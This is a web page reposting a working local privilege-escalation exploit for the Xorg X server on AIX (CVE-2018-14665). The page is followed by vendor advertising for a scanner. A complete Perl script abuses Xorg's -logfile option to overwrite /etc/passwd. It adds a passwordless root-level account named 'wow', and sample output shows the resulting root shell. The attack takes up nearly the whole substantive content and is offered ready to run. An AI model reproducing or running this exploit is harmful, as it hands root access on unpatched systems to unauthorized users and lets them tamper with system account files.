xorg x11 server (aix) local privilege escalation

▸▸▸ Exploit & Vulnerability >>   local exploit & aix vulnerability




xorg x11 server (aix) local privilege escalation Code Code...
				
# Exploit Title: AIX Xorg X11 Server - Local Privilege Escalation # Date: 29/11/2018 # Exploit Author: @0xdono # Original Discovery and Exploit: Narendra Shinde # Vendor Homepage: https://www.x.org/ # Platform: AIX # Version: X Window System Version 7.1.1 # Fileset: X11.base.rte < 7.1.5.32 # Tested on: AIX 7.1 (6.x to 7.x should be vulnerable) # CVE: CVE-2018-14665 # # Explanation: # Incorrect command-line parameter validation in the Xorg X server can # lead to privilege elevation and/or arbitrary files overwrite, when the # X server is running with elevated privileges. # The -logfile argument can be used to overwrite arbitrary files in the # file system, due to incorrect checks in the parsing of the option. # # This is a port of the OpenBSD X11 Xorg exploit to run on AIX. # It overwrites /etc/passwd in order to create a new user with root privileges. # All currently logged in users need to be included when /etc/passwd is overwritten, # else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. # The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, # and is replaced by '-config'. # ksh93 is used for ANSI-C quoting, and is installed by default on AIX. # # IBM has not yet released a patch as of 29/11/2018. # # See also: # https://lists.x.org/archives/xorg-announce/2018-October/002927.html # https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html # https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl # # Usage: # $ oslevel -s # 7100-04-00-0000 # $ Xorg -version # # X Window System Version 7.1.1 # Release Date: 12 May 2006 # X Protocol Version 11, Revision 0, Release 7.1.1 # Build Operating System: AIX IBM # Current Operating System: AIX sovma470 1 7 00C3C6F54C00 # Build Date: 07 July 2006 # Before reporting problems, check http://wiki.x.org # to make sure that you have the latest version. # Module Loader present # $ id # uid=16500(nmyo) gid=1(staff) # $ perl aixxorg.pl # [+] AIX X11 server local root exploit # [-] Checking for Xorg and ksh93 # [-] Opening /etc/passwd # [-] Retrieving currently logged in users # [-] Generating Xorg command # [-] Opening /tmp/wow.ksh # [-] Writing Xorg command to /tmp/wow.ksh # [-] Backing up /etc/passwd to /tmp/passwd.backup # [-] Making /tmp/wow.ksh executable # [-] Executing /tmp/wow.ksh # [-] Cleaning up /etc/passwd and removing /tmp/wow.ksh # [-] Done # [+] 'su wow' for root shell # $ su wow # # id # uid=0(root) gid=0(system) # # whoami # root #!/usr/bin/perl print "[+] AIX X11 server local root exploit\n"; # Check Xorg is in path print "[-] Checking for Xorg and ksh93 \n"; chomp($xorg = `command -v Xorg`); if ($xorg eq ""){ print "[X] Can't find Xorg binary, try hardcode it? exiting... \n"; exit; } # Check ksh93 is in path chomp($ksh = `command -v ksh93`); if ($ksh eq ""){ print "[X] Can't find ksh93 binary, try hardcode it? exiting... \n"; exit; } # Read in /etc/passwd print "[-] Opening /etc/passwd \n"; open($passwd_fh, '<', "/etc/passwd"); chomp(@passwd_array = <$passwd_fh>); close($passwd_fh); # Retrieve currently logged in users print "[-] Retrieving currently logged in users \n"; @users = `who | cut -d' ' -f1 | sort | uniq`; chomp(@users); # For all logged in users, add their current passwd entry to string # that will be used to overwrite passwd $users_logged_in_passwd = ''; foreach my $user (@users) { $user .= ":"; foreach my $line (@passwd_array) { if (index($line, $user) == 0) { $users_logged_in_passwd = $users_logged_in_passwd . '\n' . $line; } } } # Use '-config' as '-fp' (which is used in the original BSD exploit) is not written to log print "[-] Generating Xorg command \n"; $blob = '-config ' . '$\'' . $users_logged_in_passwd . '\nwow::0:0::/:/usr/bin/ksh\n#' . '\''; print "[-] Opening /tmp/wow.ksh \n"; open($fr, '>', "/tmp/wow.ksh"); # Use ksh93 for ANSI-C quoting print "[-] Writing Xorg command to /tmp/wow.ksh \n"; print $fr '#!' . "$ksh\n"; print $fr "$xorg $blob -logfile ../etc/passwd :1 > /dev/null 2>&1 \n"; close $fr; # Backup passwd print "[-] Backing up /etc/passwd to /tmp/passwd.backup \n"; system("cp /etc/passwd /tmp/passwd.backup"); # Make script executable and run it print "[-] Making /tmp/wow.ksh executable \n"; system("chmod +x /tmp/wow.ksh"); print "[-] Executing /tmp/wow.ksh \n"; system("/tmp/wow.ksh"); # Replace overwritten passwd with: original passwd + wow user print "[-] Cleaning up /etc/passwd and removing /tmp/wow.ksh \n"; $result = `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0::/:/usr/bin/ksh' >> /etc/passwd" && rm /tmp/wow.ksh`; print "[-] Done \n"; print "[+] 'su wow' for root shell \n";

Xorg x11 server (aix) local privilege escalation Vulnerability / Exploit Source : Xorg x11 server (aix) local privilege escalation



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.